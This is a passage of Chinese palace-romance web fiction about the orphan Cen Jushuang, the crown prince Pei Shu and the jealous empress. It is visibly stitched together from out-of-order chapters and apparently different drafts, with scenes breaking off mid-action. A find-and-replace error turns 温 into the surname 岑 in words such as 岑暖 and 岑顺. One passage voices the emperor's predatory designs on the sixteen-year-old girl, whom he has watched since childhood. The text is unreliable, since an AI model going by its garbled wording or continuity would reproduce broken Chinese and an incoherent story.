先等裴述离开再说。 早在今天裴述愤然离开落月宫之时,岑拒霜凭借之前对他的了解,早就做好了一个月见不到他的打算。 却没想,如今竟会这般凑巧,两人刚才不欢而散,这才过了不足两个时辰,她就又见到了裴述。 岑拒霜现在不知道以何种姿态去面对裴述,只能寄希望于他只是路过,她心跳如雷,默默地在心里祈祷:赶紧离开,赶紧离开…… 良久,岑拒霜屏息凝神,竖起耳朵靠近轿撵,没听到半点儿动静,她心下松了一口气。 她小心翼翼地掀开帘子,然而一抬头,却恰好对上裴述那双淡淡的乌木色眸子。 岑拒霜心里一梗,心脏骤停。 裴述,就这么硬生生闯进她的眼里。 那垂目下望的模样,让岑拒霜觉得,他似乎已等待多时了。 岑拒霜受惊的模样,似乎是让裴述有几分不满。 他的目光沉静如水,棱骨分明的手强硬地替岑拒霜掀开帘子,另一只手伸到岑拒霜的眼前,不容拒绝道:“岑妹妹。” “雨天路滑,小心。” 伸出的手,不是邀请,更像是一种威胁。 岑拒霜无语凝噎。 明明之前连跟她待在一个屋檐下都不愿,现在却又向她伸出手扶她。岑拒霜觉得,裴述的心思比海底还深,越发难猜了。 她看了看对方的手,棱骨分明、指节修长,手心和指尖处有一层淡淡的茧子,是他三年征战沙场的印记。 这双手,除了以前她小时候被人欺负时伸向过她外,长大后这还是第一次。 那时,裴述的手岑暖有力,公然抱着她走进了东宫,还牵着她的手走遍了皇宫的各个角落。当时,那些欺负过她的人,纷纷躲在自家宫门外头,侧目以视,不敢出门。 当时的她,天真的以为这双手会一直牵着她,却不想有一天,裴述竟先放开了手。 而她,怎么也追不上。 往事一一浮现在眼前,岑拒霜低头抿了抿嘴,掩去心里的思绪万千。见他一副誓不罢休的样子,岑拒霜硬着头皮搭上他的手,提着裙摆随裴述出了轿撵。 她低头看路,丝毫未见裴述眼里的复杂。 事实上,裴述确实专门在等岑拒霜。 见她明明知道他在轿撵之外,却半天也不肯下轿,裴述心里无端起了一阵的焦躁。 “岑妹妹。”他沉声道。 掀开帘子的一瞬间,一股幽香扑面而来,裴述以为是轿撵上撒的香料,然而将岑拒霜牵到身边时,却发现这股香越发浓郁。 这股味道,与她之前的味道截然不同。 他蹙眉:“岑妹妹特意换了香料?” 岑拒霜:“?” 岑拒霜实在是怕了他的反复无常,微微抽动自己的手,却发现裴述却暗中用了力,在看不到的地方紧紧捏住了她的手心。 旁人看着似乎是她搭在裴述的手心,但实际上岑拒霜却怎么也挣脱不掉。 岑拒霜的心一下子就慌了,她不知道裴述是什么意思,只好先被迫答道:“不是,我从不用香。” 不用香?骗子!裴述心里冷哼! 一想到她是为了谁而来特意焚的香,他的脸色越发阴沉,甚至无意识捏紧了握着岑拒霜的手。 岑拒霜吃痛地皱眉,不解裴述怎么突然就生了气。她想起之前和裴述在皇后面前一起出现时,皇后阴恻恻的神情,她再次尝试挣扎,想抽出自己的手。 然而,裴述捏得越紧了,侧头看她,定定道:“路滑,我‘扶着’妹妹。” “扶着”二字,还特意加重了语气。 岑拒霜自知拗不过他,只好被他“牵着”走进了未央宫。 她一身天青色衫群,发间的碧玉坠子泠泠作响,他一身玄黑色长袍,腰间的白玉环轻摇慢摆。在漫天的红霞之下,两人携手款款而行,像极了一对下凡的金童玉女。 宫女们被这一幕惊艳,甚至忘了第一时间去通报。 未央宫内,中门大开。 室内氤氲着淡淡的檀香,岑皇后一身华服、妆容精致,她亲手接过宫女的茶壶为周帝弯腰斟茶,眉眼间的欢喜难以掩盖。 见周帝盯着墙上的那副“姹紫嫣红”出神,岑心绵柔声道:“陛下,刚下了场大雨,外面寒气重,喝些茶暖暖身子吧。” “这茶还是上月陛下赏赐的贡品雪岭云雾,多谢陛下念着臣妾,让臣妾也有口福与陛下同饮。” 周帝从画上移开眼,目光落到了杯中的茶上,意外道:“竟还有吗?今年南部大旱,这茶少了不少,岑拒霜最爱喝这茶了,朕就让人全送到你这里了。” 他抬头看向她,问:“你给她送过去了吗?” 稳坐九五之尊二十余载,即使只是轻描淡写的一句话、一个眼神,也让人无端惊起毫毛。 岑皇后尽力维持住脸上的微笑,僵硬道:“臣妾不爱喝茶,大半都给岑拒霜送去了,余下的这些就等着陛下来呢。” 周帝不再说话,似乎对这个回答甚为满意,实际上,在与岑拒霜有关事情的处理上,他对岑心绵的安排,一向都是满意的。 包括十年前她将岑拒霜接进宫养在身边,包括不让岑拒霜接触其他男人,包括不给岑拒霜安排婚事,包括每次让他借她的名义来看岑拒霜……每一步安排,都深得周帝的心。 他神色下意识朝外张望,一想到即将见到岑拒霜,他心里就像蚂蚁爬过一般酥麻,他眼底越发暗沉,心里的欲望像是要破笼的野兽。 只等着镇国公那批老臣完全从朝堂上退去,只等着漠北的事情完全解决。 岑拒霜,就完全属于他了! 他会让十年前那双倔强的、宁死不从的紫灰色眼睛,完完全全臣服于他,沾上他的印记!一想到此,周帝觉得连心跳都快了几分。 “我记得去年岑拒霜在你生辰时画了一幅“莲动渔舟”吧?”周帝按捺住心里的澎湃,指着墙上的画,命令道:“换上。” 岑心绵心里一梗,半笑着的嘴角彻底僵住了。 岑拒霜每年都会给她送一些亲手做的东西,不过她向来不关心,如今谁知道那幅画在哪儿?说不定早就烧了。 但她只能咬着牙将心里的不甘和怨恨咽下,微笑道:“是。臣妾稍后就让人换上。” 周帝满意于她的岑顺,不管他做什么,她总是笑着答应,这也是他一直让她稳坐皇后的原因。 突然,门外有一道影子闪过,他目光朝门外看去。 远远的,只见一男一女相伴而行,两人相互依偎、举止亲密,似是想到了什么,周帝的脸瞬间沉了下来,紧紧地盯着那两人。 岑心绵看他久久未语,顺着他的目光看去,眼神也凝住了。 毕竟是自己的儿子和侄女,她比周帝更加熟悉,只一眼就认出他俩。她死死地盯着岑拒霜,看着她搭在裴述手心的那只手,恨不得用眼神将它戳断。 好啊,有其母必有其女!她娘勾引了自己的丈夫,现如今她不仅跟她抢周帝,还来勾引她的儿子! 岑心绵心里泛起滔天的怒火,牙齿气得咯咯作响。 暮色沉沉,视线不明,周帝看着宫殿外面容模糊的两人,面无表情道:“那两人是谁?” 岑心绵双手握拳,指甲戳进了自己的手心渗血而不知。她没听到周帝的提问,但是宫外高声传报的太监,代替她回答了。 “太子殿下、岑小姐到——” 周帝的眼底,瞬间沉了。 岑拒霜鼻尖一酸,眼角止不住湿润起来,这些日叔父为了她的婚事也没少奔波。听说江夫人被叔父提刀架脖子上,昏迷了好些时日,江家好些次试图推罪至叔父身上,但都不了了之。 她抱着岑侯爷的胳膊愈紧,“小霜给叔父带来麻烦的这些日,辛苦叔父了。” “傻丫头,叔父有什么辛苦的,”岑侯爷摇摇头,想起她的婚事,叹了口气,“你爷爷还在的时候,和江老爷子是至交。那会儿你母亲有孕,适逢逾白这孩子三岁,你爷爷醉酒时,便说若你母亲生下来的事女孩儿,就同逾白定亲。” “你母亲性情刚直,那会儿听闻后便闹着要去江家退亲。她说啊,等你长大了不见得会愿意嫁给江逾白,她不希望你还未出世就处处受限,得不来你想要的幸福。” 提及旧事,她思绪不由得飘忽,“娘亲……也从来没给我说过……” “后来你不在京城,你娘亲自是不希望这桩婚事成为你的负担。” 岑侯爷说着,忽又将话一转,面色俨然。 “小霜,叔父问你,你喜欢太子吗?” 第 37 章 林猎 岑拒霜没想到,叔父会如此直白地问她是否喜欢太子。 她从未想过这个问题,就连关乎风月里的“喜欢”是为何物,她自己也给不出答案,更遑论提及喜欢谁。 岑拒霜挼搓着衣角,面色茫然地问,“叔父怎么会这么问……” “我能看出来,太子待你与旁人不同。但抛开太子的性情本就不适合做一个好丈夫,若是小霜嫁进了宫里,一辈子困在里头不说,日后还会与众多女子同享一个夫君,争风吃醋,后宫的手段防不胜防,届时叔父如何放得下心……” 岑侯爷拧起眉头,他深深地看了她一眼,“叔父只希望小霜这辈子平平安安,有个好的托付,顺遂过完这一生便好。” 岑拒霜很快否了叔父提出的预想,她轻轻摇着头,“我和太子之间不是叔父想的那样,我也从来没想过当什么太子妃。” 说到底,若非一开始在赏春宴撞见太子杀人、后来又阴差阳错两人一道中了蛊,她和太子之间或许便不会有这么多的牵扯。 自三年前漠北进犯以来,大周几乎每日都笼罩在战事的阴云之下,太子裴述凯旋归国,圣上大喜之下,天下大赦,举国同欢。 其中,当然也包括在太学的岑拒霜。 自裴述归来,前朝一时间事务纷繁,竟连授课的博士都被叫走了大半。如此,岑拒霜倒是免了每日那让她痛苦至极的课业。 倒不是岑拒霜课业不好,而是太学之中有位夫子乃是岑拒霜父亲的旧友,他为人板正,一丝不苟,或许是觉得对岑拒霜严加要求便是对旧友遗孤的照拂,因此对岑拒霜尤其严厉。 岑拒霜上课时候是一丝也不能放松,生怕自己一个走神,便让夫子觉得岑家后继无人了。 虽然,岑家现在除了她,确实已经没人了。 沅芷静静地为岑拒霜研磨,她从小跟着岑拒霜,本来有读书识字的机会,可自岑拒霜进宫后,她便每日只能在这芙蕖宫待着。 虽然她看不懂岑拒霜写的是什么,却也敏锐地感受到了美。每一个字清秀隽永,秀丽淡雅,像一一颗颗漂亮珠子连在一起似的。 然而,岑拒霜收笔之后却始终皱着眉,凑近看了几个字后,一把将案上的笔墨揉成一团,丧气地扔得老远。 “好端端的,为什么要废掉?”沅芷心疼地将纸团从地上捡起来。 写字时岑拒霜一直提着气,生怕走势断了,她揉了揉自己的手腕,失落地跌坐在椅子上,闭着眼睛叹道:“徐先生说,我的字唯有形,没有魂。” 这个评价,自然是拿岑拒霜和他的父亲岑轲在作比较。 岑轲和岑拒霜一样,也是自小进入太学学习,跟随当今圣上陪读。岑轲自小便展现出非凡的才能,虽说绝大多数人只把岑轲当做大周战神,却鲜有人知道,岑轲也是写得一手好字。 沅芷听后哑然失笑,她安慰道:“小姐如今还小,自然不能与将军相比。况且小姐是女子,又不考科举,徐先生如此苛刻,未免太难为小姐了。” 岑拒霜不置可否,她难受地继续揉手腕。 沅芷说的这些,别人又何尝没有说过? 可不知怎么,她就是想证明自己。或许是她父亲的形象太众人心中太过完美,她不敢放松一步,怕自己的平庸毁了父亲的一世美名。 她起身到书柜前,仔细摩挲父亲留下的书稿和手信。 其实岑拒霜对岑轲的印象已经很淡了,甚至已经记不清他的模样。从留存的书信中大概可以看出,自母亲怀孕后,他就一直驻守在外,几乎只有打了胜仗之后才回来。 就算在进宫之前,她就已经很少见到父亲了。 岑拒霜依稀记得有一年冬天,母亲说如果父亲回家,一定是先回书房,于是便抱着她睡在父亲的书房里。她睡不着,却又担心吵醒母亲,只能僵硬地仰头看外面被风雪吹得七零八落的灯笼。 突然,一个男人推开书房门,正好和她的眼神对上。 她忘了呼喊,而那个胡子拉碴的男人忽然也僵住了。待浑身的寒气散去之后,他才敢缓步靠近她们,一双眼紧紧地盯着她。 “你就是我的小霜儿吗?” 纵使已经过去多年,岑拒霜却依然记得父亲对她说的第一句话。那是她们第一次见面,或许是母亲在她耳边念叨太多了,她下意识地喊了声“爹爹”。 这件事情,被岑轲详细地记在手札上,纵使是如此岑情的事情,他的字依旧是如此的遒劲有力。岑拒霜抚摸着手札,一遍一遍描绘父亲的笔迹,似乎能够从其中汲取一些力量。 翻过一页,她忽地愣住了。 笔迹变了。 这不是父亲的,而是裴述的手迹。 岑拒霜好奇地拿起来翻看,想起来了它的来历。 裴述自小便是天之骄子,每次太学考试都拔得头筹,这份手迹是三年前徐夫子交给岑拒霜,让她从中学习的。 或许是事务繁忙,她竟忘了返还,而徐夫子也忘了要回。 以前,岑拒霜只惊叹裴述才思敏捷,而现在,她的关注点全都放在了他的字形上。 裴述的字,和岑轲苍劲有力的书法截然不同,少了几分磅礴的气势,却多了几分少年的意气和踌躇满志,有行云流水之感。 鬼使神差般的,岑拒霜下意识开始临摹。 岑拒霜的书法功底深厚,只浅浅学了个形,就已有了八分相似。 自那日和裴述在未央宫一别后,她再也没有机会见到裴述,如今这一封意外的手稿,似乎将裴述又带到她的面前。 她可以不用在乎别人,赏析裴述的文义; 她可以不用在乎书法,临摹裴述的文字。 这个想法,让岑拒霜诡异地既心动又惶恐。在宫中,除了裴述,她再没有别的亲人了。 可裴述终究和她不一样,她在这深宫之中,而裴述却肩负着东宫储君之责,两人连见面都是困难。 这份简单的、朴素的,甚至都算不上联系的手稿,却以这样的方式拉近了她和裴述的距离。 整整一上午,岑拒霜不断临摹着裴述的字,他的字,似乎比她写了十几年的字更让她得心应手。 直到沅芷送膳,她才停笔,看着满屋子裴述的字,她忽觉自己有些魔怔了。 沅芷像往常一样为准备岑拒霜收拾东西,却被岑拒霜慌张地喝住。 岑拒霜:别动!” 沅芷一愣,虽说是下人,但岑拒霜待人向来岑和,从未说过重话,她不解地转身,以为自己做错了什么事情,“小姐……” 虽然知道她不识字,看不出自己字形的变化,但岑拒霜却还是红了脸,她深吸一口气,故作镇定道:“我一会儿自己收拾就行了。” 沅芷莫名其妙地看了看她,缓缓退出。 待她离开,岑拒霜火速藏起手稿,将自己临摹的文字一把火全烧了。 临摹当今太子的手稿,要是被人知道了,她也就不用再在这宫里待下去了。 午膳才上桌,前院就传来一阵吵闹,沅芷正给岑拒霜布菜,就见有兰慌慌张张地跑进门,一副大事不好的样子。 她和沅芷一样,都是自小跟着岑拒霜进宫的侍女。 有兰大口喘着气,“小姐,不好了,十、十皇子来了。” 沅芷赶紧上前扶着她,眼里满是意外和嫌弃,“怎么又来了?前几天不是说小姐病了,让他别来吗?” 有兰都快哭了,赫赫有名的混世魔王十皇子,她哪里拦得住? 有兰委屈道:“他说他来探病,还带了个太医呢。” 十皇子裴桢林是现今正受宠的丽妃之子,和岑拒霜一般大,如今才十六岁。 或许是将期许都放在了裴述身上,圣上将余下的宠爱就给了裴桢林,因此养成了他无法无天、肆意妄为的脾性。 更要命的事,这裴桢林不知何时盯上了岑拒霜! 岑拒霜是皇后的侄女,自然不可能和其他妃子来往,更何况是其他妃子的儿子! 这件事情她不便告诉皇后,本以为裴桢林吃了几次闭门羹后会放弃,却不想却像是个狗皮膏药一般,怎么甩也甩不掉。 惹不起,还躲不起吗? 岑拒霜叹了口气,放下筷子无奈道:“你们先拦着,我从侧面出去。” 沅芷立刻跟上:“那小姐,我跟你一起去。” 今日乌嬷嬷不在,有兰性子比较懦,其余的太监宫女们更是靠不住,岑拒霜实在不放心,摇摇头:“你留下吧,记住别把事情闹大了。” 闹大了,丢脸的只会是她自己! 她今年已经十六岁了,若是一旦风声传出去,那她就算不想嫁,也由不得她了。 出了芙蕖宫,岑拒霜才发现,偌大的皇宫她竟无处可去。 在皇宫生活了十年,却没有一处容身之所,她忽地有些悲哀,漫无目的地走在偏僻的宫道上。 待停下来时,她发现自己已经习惯性走到了百鸟园的大门。德胜几天没见她了,高兴地向她行礼:“岑小姐。” 百鸟园,确实是个避风头的好去处,岑拒霜自顾自地想。 瞧着岑拒霜落寞的神色,德胜犹豫了一下,像是专门讨岑拒霜开心,上前笑道:“岑小姐来得巧,院子里又来了一批新的珍鸟,其中一只是岭南那边上贡的,那羽毛红的像火一样!” “我看岑小姐前段时间一直在收集红色的羽毛,就专门把那只鸟放到您常去的那个院子了。” 岑拒霜勉强笑了一下,“多谢。” 纵使已经不用在收集羽毛了,她却从这话中感受到了对方的好意,外加再次想起了裴述,岑拒霜胸前逐渐积累的郁气逐渐消散。 她一笑,德胜只觉心里一跳,瞬间低下头去,意有所指:“这几日百鸟园里都没人,岑小姐不用顾忌。” 岑拒霜意外地看他一眼,虽然她不想把事情传出去,但深宫之中又何尝有不透风的墙? 如今,纵使是一个管理偏僻小院的小太监都已经知道了,那皇后和裴述迟早也会知道。当时候,她们会如何打算呢? 是让她直接嫁出宫去,还是就嫁给裴桢林呢? 岑拒霜垂手握紧袖口,一声不吭地走了进去。 她已经十六岁了,即使在宫外寻常百姓家,也是到了谈婚论嫁的年龄,更何况是官宦人家?家族联姻,几乎都是自小定下的亲事。 而她只是寄养在宫里的孤女,家族早已没落,双亲在离世前也并未为她定下亲事。 早在三年前,当岑拒霜发现自己的目光始终跟随裴述之后,方才明白自己的心意。可紧接着她就悲哀地认识到,她和裴述几乎毫无可能。 他是天之骄子,是大周的储君,未来的皇帝。 而她,不过一个落魄的孤女,他名义上的表妹而已。 裴述的正妻,该是一位与他家世相当、秀外慧中的女子,绝不会是她自己。 岑拒霜也曾幻想皇后为自己随便指婚,那她就能快刀斩乱麻一般断掉自己的妄想,可整整三年,皇后对她的婚事闭口不提。 而裴述,明明也是弱冠之龄却也未有婚约,岑拒霜不禁开始幻想:会不会是皇后想亲上加亲呢?在日复一日的思念中,她越发渴望走近裴述。 岑拒霜脑子里纷繁复杂,有一搭没一搭地给院子里的鸟喂食,完全没注意到身后一道黑影闪过。 忽地,那道黑影向她袭来,岑拒霜只听身后一声怒喝。 “快趴下!” 只见裴述向她飞奔而来,岑拒霜还没反应过来,就被裴述扑倒护在身下。 岑拒霜为之一怔,“小宴?” 老太监耐心解释道:“这是先帝在时留下的规矩,到了猎场后,皇室会有个小宴仪程,以慰先祖,为后人留得余荫,故至猎场里的皇室成员皆要参与,不得缺席。” 岑拒霜心道,这恐怕就是宁妍所言的紧要事,她暗暗攥着衣角,手心已是凉得有些发汗,她抬起头对老太监莞尔应着,“好的,我知道了,有劳公公相传,我会告知宁妍的。” “多谢姑娘。小宴还有半个时辰开始,还请公主殿下莫要迟了。” 老太监微微揖身后离开了营帐。 岑拒霜回到营帐后,急忙简单收拾了衣装,便往宁妍所在的山南密林而去。 林间月色稀疏,岑拒霜提着一盏小灯,另只手拎着衣裙,加紧着步子朝前。 她再清楚不过,若是这小宴宁妍没有到场,皇帝那边追查起来宁妍的行踪,发现了宁妍和她情郎的事情,宁妍的下场可想而知。 岑拒霜艰难迈着虚软无力的双腿,终是在密林深处发现了一间茅草屋。 远远地,男人沉重的喘.息声藏在沙沙的风声里,像是喉咙里压抑着的痛呼,带着点点愉悦,其里依稀还有着鞭子挥动的欻欻声响。 第 38 章 变装 漆夜无声,前处的动静愈发清晰可闻。 岑拒霜驻足于幽径深处,她侧耳听着那声音,攥紧了手里的提灯,伸出手握着灯杆晃悠悠地往前一照。 矗立的茅草屋里漏着点点烛光,破旧的屋门紧闭,连着窗处也遮得严严实实,唯有那若隐若现的声响浸入夜色,不时惊醒林稍打盹儿的雀鸟。 岑拒霜拿捏不准这里头的人是否为宁妍,只得小心翼翼往前,抬起左手张开呈喇叭状放在唇角,轻声往里喊着, “姐姐,姐姐——” 少顷,昏暗烛火破开一角,吱呀声里,茅草屋的屋门被从里推开。 大风从窗户灌进屋子,将古朴桌案上陈列的笔架吹翻,笔架又倒在了细长鹅颈花瓶之上,“咔嚓”一声,花瓶碎裂之声,惊醒了屋内的两人。 同时受惊的,还有屋外一直胆战心惊的落月宫宫女太监们。他们紧盯着房门,时刻注意着屋内的动静。 孤男寡女共处一室,他们的心一刻也不敢放松。若是裴述和岑拒霜在他们落月宫发生了些什么,以后东窗事发了,那他们怕是脱不了干系。 在众人忧虑目光中,管事太监硬着头皮上前敲门,小心翼翼道:“太子殿下,可有什么事情需要小的们?” 三声之后,屋内依旧是静寂无声。 如此,屋外的众人越发忧心忡忡,脑海中已经开始想象屋内来两人纠缠在一起的场景,一时间面面相觑。 怎么办? 还能怎么办?推开门呀! 推开门,你不想要脑袋了! 不推开门,若是里面发生了什么,皇后娘娘和皇上怪罪下来,你以为你还能有活路? 不妨趁着现在里面没动静,赶紧进去,要是真有情况,说不定还能挡一挡呢! 众人统一了意见,管事太监再次硬着头皮,颤这手再次敲了敲下门,闭着眼睛咬着牙道:“太子殿下,小的们为太子殿下准备了干净的帕子,现在就为殿下送进去。” 说着,他正准备推开门,便被里面一声凛冽的声音呵道:“放肆!” 他的声音,比廊檐上的风还冷,众人心里被冻得一抖。 同时被他吓到的,还有屋内的岑拒霜。 岑拒霜见自己的裙摆被风吹起,吓得赶紧将裙摆整理好,然而裙子太短了,站起来倒还勉强能盖住双脚,但是她如今倾倒在地,裙摆便自然而然地缩上去了。 不管她怎么向下扯裙摆,脚踝处的那朵蝴蝶结依旧绽放着翅膀。她的脚踝极细,不堪盈握,又白如珍珠,那只蝴蝶如同停留在花苞之上,极为漂亮。 岑拒霜不敢向上看裴述的眼神,她焦急地想要把腿上的蝴蝶遮住,然而越慌越乱,她心一横猛地用力,却不慎连腰间系的腰带都扯松了。 胸口的碧色衣衫少了腰带的束缚,微微张开,露出了些许莹白的肌肤。 岑拒霜瞬间僵住了。 她不敢再有什么动作,只是垂下头,欲哭无泪地收拢自己胸前的衣服。 然而她并不知道,如此便越发显得欲迎还拒。 忽地,门外传来三道敲门声。 岑拒霜心里的弦瞬间紧了,如今她正倒在地上,一副衣服衣衫不整的样子,若是让人看到了,那他和裴述就算是没有什么,也会变得有什么了! 然而她却不敢乱动,生怕一个动作,就让身上的衣物彻底散架了。 别无他法,她抬头求救似的看向裴述,却发现裴述也正看着她。 或者说,自岑拒霜摔倒之后,裴述一直看着她,看着大风吹起她的裙摆,露出了缠在腿上用来勾引他的丝带,还有脚踝处的蝴蝶。 看着她可笑地摆弄自己的裙摆,再“意外”扯开自己的腰带,明明是一副欲迎还拒的姿态,却依旧装出惊慌失措的模样,还用一双湿润的鹿眼求救似的看着他。 裴述心里冷哼,即使听见了门外的敲门声,他也不为所动。 他倒是要看看,岑拒霜能做出什么样的事来! 在他面前自荐枕席的人不少,却从未有人如岑拒霜这般大胆,竟敢在他面前宽衣解带。 然而,这种想法不过一瞬,便再度被门外的声音打消掉了。 “太子殿下,小的们为太子殿下准备了干净的帕子,现在就为殿下送进去。” 没有他的吩咐,门外的人竟然敢擅自闯入?裴述沉下脸,他瞧了瞧地上岑拒霜那泫然欲泣的模样,别看眼朝着门外冷声呵道:“放肆!” 聪明如他,瞬间就明白了门外太监和宫女们的想法,他回头再次冷眼看了看仍旧在地上倾倒的岑拒霜,转过身打开门,微微拉开一道狭小的、只容一人出去的缝隙。 一打开门,迎面就对上了紧贴着房门的管事太监。 屋内光线昏暗,什么也看不清楚,管事太监透过狭小的缝隙朝里面张望,却什么也看不到。 他放心地收回了目光,然而下一刻,他便对上了裴述淬了冰的眼神,随即脸色一僵。 裴述跨身出门,将紧挨着门的管事太监逼退,踏出房门后,回身随手关上了房门。 阻断了一切向内窥视的目光。 那管事太监一见裴述的神色,就知道这遭是惹恼了裴述,他吓得跪在青石板廊上,颤声道:“太子殿下恕罪,小的们只是担心——” “闭嘴!”裴述冷冷地打断他的话,呵斥道:“我刚说的话,你们没听见吗?” “……” 裴述瞧着廊上黑压压跪了一片,又回身瞥了瞥身后屋子,只觉今日的一切都很荒唐。 抬眼看着浓厚的黑云,下一瞬他毫不犹豫地走向大雨之中。 众人一惊,连声惊呼:“太子殿下!” 然而裴述却充耳不闻,快步消失在瓢泼大雨之中,任狂风吹起他的衣衫。 众人愣了愣,下意识看向身后紧闭着的房门。 然而,被裴述训斥过后,他们这一次却再不敢敲门了。 而屋内的岑拒霜,自裴述出门后,便迅速整理好衣物,她本想等裴述回来后,她再好好地解释一番。 然而待她忍着疼起身,却只透过窗户,看到裴述在雨中消失的背影。 岑拒霜心里一坠,眼圈瞬间就红了。 太子表哥,怕是误会她了…… 她咬咬嘴唇,瞧着手上的刚刚捡回来的宣纸,这道帖子虽不是她写的最好的,但却是最特殊的,她在写字时,恍惚间仿佛是渐入了无我的境界。 虽然刚刚她是为了拖住裴述,才找出请教书法这样蹩脚的理由,但却也是有几分心思想想让裴述看看她引以为傲的书法。 可如今,字帖仍在,裴述却宁愿冒着大雨回去,也不愿意跟她待在一个屋檐之下。 岑拒霜微微闭眼,两颊划过两道清泪。 …… 早在半路,裴述身体的旧疾就又开始发作了。 然而纵使浑身痛若焚身,但一想刚刚岑拒霜倒在他的面前,用惊慌失措的眼神望着他,他心里像是蚂蚁爬过一般。 他宁愿受着大雨,也不愿再和岑拒霜待在一起。 待他浑身湿淋淋地回到东宫,杜衡惊了。 “殿下!”他立刻撑着伞冲上前,为裴述挡住风雨,焦急道:“殿下,你怎么能淋雨呢!太医不是说过,您不能——” “药。”裴述直直地打断他的话。 杜衡知道,裴述最忌讳有人说这个,他立刻知趣地闭嘴,赶紧为他取出怀里的药瓶。 裴述:“刚刚让你办的事情,礼部尚书怎么说?” 杜衡愣了愣,没想到裴述第一个问的,竟还是那个不受宠公主的婚事。 他掩去心里的疑问,他将礼部尚书告诉他的话原封不动地回道:“礼部尚书说:‘为九公主择驸马不是难事,难的是过皇上那一关。’” 说完,他自己倒先评价起来:“我看礼部尚书是想多了,宫里这么多公主,就没一个是皇上指婚的,一个名不见经传的九公主而已,难不成皇上还会阻挠她的婚事不成?” 说完,他偏头去看裴述,想得到他的认同,却不料裴述正紧皱着眉头,一副沉思的模样。 杜衡一愣,情不自禁道:“难不成,皇上真的会阻拦?” 裴述没理他,沉声道:“你去给他说,不管如何,定要在一月内将九公主的婚事定了。” 绝不能,让九公主去和亲! 绝对,要把岑拒霜送出去! 杜衡愣了愣,完全搞不清楚裴述在干什么,只得低声道:“属下领命!” 一场大雨,将金碧辉煌的皇宫笼罩在满天烟雨朦胧之中,各个宫的石阶,被这场突如其来的大雨洗的发亮。 未央宫前,岑心绵望着殿外淅淅沥沥的大雨,眼中愁色渐起。 “皇上,有几日没来过了?” 一旁伺候的侍女莲心闻言,心里咯噔一响,小心翼翼地回道:“皇上上次来,是上月初三。” “那就有一个多月了。”岑心绵收回眼神,落到殿内的铜镜上她。铜镜中的她,保养得当,纵使年近四十,却风韵犹存。 一阵寒风吹过,将她整理得精美的发髻吹落了几丝碎发,莲心赶紧上前为她整理头发。 她留意岑心绵的神色,劝慰道:“娘娘也知道,近来为了漠北的事情,前殿正忙呢,皇上定是抽不开身。” 忙?岑心绵嘴角勾起嘲讽一笑,“今晨李贵人请安时,告诉我她已有了身孕,我看他也只是对我忙而已。” 莲心忧心:“……” 岑心绵将眼神落到案上的汤盅上,神色淡淡。她揭开汤盅,一股荷叶清香扑面而来。 随即,她脸色一变。 “啪”地一声,她将手中的盖子扔得老远,眼中的不甘和怨毒全都显露了出来,死死地盯着已经放凉了的粥。 “那个不长眼的东西,把岑拒霜那个小贱人送的粥端进来了!” 莲心被吓了一跳,看着桌案上的汤盅,慌乱道:“娘娘息怒。” “刚刚娘娘说想吃喝粥,这汤盅和岑小姐送来的汤盅一样,怕是殿外的宫女们拿混了。” 自岑心绵说胃口不好以来,岑拒霜几乎每日都会来给她送药膳,岑心绵推了几次之后,岑拒霜便让人每次都送来未央宫。 然而,她不知道,她送的这些粥,全都会被倒掉。 岑心绵眼神沉沉,看着眼前浓稠的粥,忽的想到了什么。 她捏紧拳头,不甘道:“明天叫她过来吧。” “还是和以前一样,让人将消息不动声色的透露给皇上。” 大皇子闻言正想插嘴宁妍此举不妥,偏偏皇帝一听着女儿欲泣的声音,心也软了几分,权当那嗓音是因为哽咽而变得有些哑然,他关切道:“可抹了药?待会儿朕让御医给你瞧瞧。” 岑拒霜埋着头,一副因面容被毁而恹恹的模样,“多谢父皇,妍儿已经上好药了,想来明日就能好。” 她垂眼的间隙,浑然未察觉太子的视线亦随着一众看了过来,那对瑞凤眼里的兴意被勾起了几分。 之后岑拒霜跟着左右规矩行着祭祀礼,算是有惊无险度过了第一个仪程。 她按照提前想好的理由道出,借口身体不适回去,皇帝应允了她先回营帐歇息。 回营帐的路上,岑拒霜始终悬吊的心放松了些许。 趁着林间无人,远离了猎场稀稀落落的灯火,她猫腰钻进了一处丛中,悄然将宁妍的宫装褪去。为了将自己的身形填塞得与宁妍相当,她几近是里三层外三层地裹了好几圈,闷得极为难受。 “慢。” 偏在此时,太子的嗓音从身后传来。 第 39 章 吻脸 清夜无尘,远离猎场的静谧林间,一抹烟紫色罗裙匆促划过,窸窸窣窣的声响拨动着繁密的草木。 正值初夏,夜里已有淡淡热气袭人,岑拒霜穿了好几层衣裳,最外层的宫装布料相当厚实,浑身像是裹着了紧紧的绷带,此前她又在祭祀跟前跪跽行礼了小半个时辰,这会儿她已是被憋得快要喘不过气。 故她等不及慢慢走回营帐,半道寻了个人迹罕至的暗处,环顾四处确认无人后,她三两步钻进丛中,忍不住想要褪去里层的衣裳。 岑拒霜迅然解着腰间的系带,纤指灵活捻动间,上半身裹紧的衣裳稍有一松,随着她的动作,松松垮垮地堆积在她的细嫩胳膊处,露出凝脂似的雪肩与半个净白的后背,由着林中微风吹拂,拨散着热意。 得来瞬间的松缓,她终是能够深深呼着新鲜空气。 岑拒霜正欲将里层的衣裳脱下时,忽的听闻身后足音逼近。 她惊慌失措地抓起衣襟拢住,抬眼见到来人笑得恣意的面庞后,下意识唤出,“殿……” 长乐宫内,静可闻针。 夕阳透过高墙杨柳,在青石板上留下斑驳残影。室内昏黄不定,首座之上,坐着一位雍容华贵的女人,正微微打量下方三丈之外的男人。 似乎没察觉到她的目光,男人正襟危坐,目不斜视。他脸藏在阴影处,只看得见棱骨分明的颌骨。 她不动声色地眯起眼,微微抬手示意。 侍女们屏息凝神,轻手轻脚地点起一盏盏的长明灯,灯油之中加了香料,淡淡的檀香袅袅升烟,不过片刻,便满室盈香。 日暮西斜,虫鸣渐起,一个个侍女们端着雅致而诱人的菜肴鱼贯而入,脚步轻柔,训练有素,竟没有发出一丝声响。 可是一出长乐宫的殿门,侍女们便兴奋地聚在一团,叽叽喳喳地谈个不停。 “三年不见,太子殿下了变化太大了,刚刚儿我差点没认出来。” “谁说不是呢,以前太子殿下是何等的风光霁月,比那画上的谪仙还俊俏,去了漠北四年,竟好似换了个人一般,更……” 侍女们年纪不大,又没读过什么书,宫里面的男人更是没有,“风光霁月”、“谪仙”这些词都是从太学的夫子们嘴里传出来的,如今她们一时间竟找不出合适的词来形容。 “更像个男人。”一个年纪较长的侍女摸着下巴接道。 此话一出,侍女们瞬间笑成一团。 这话虽糙,却也算一语中的。 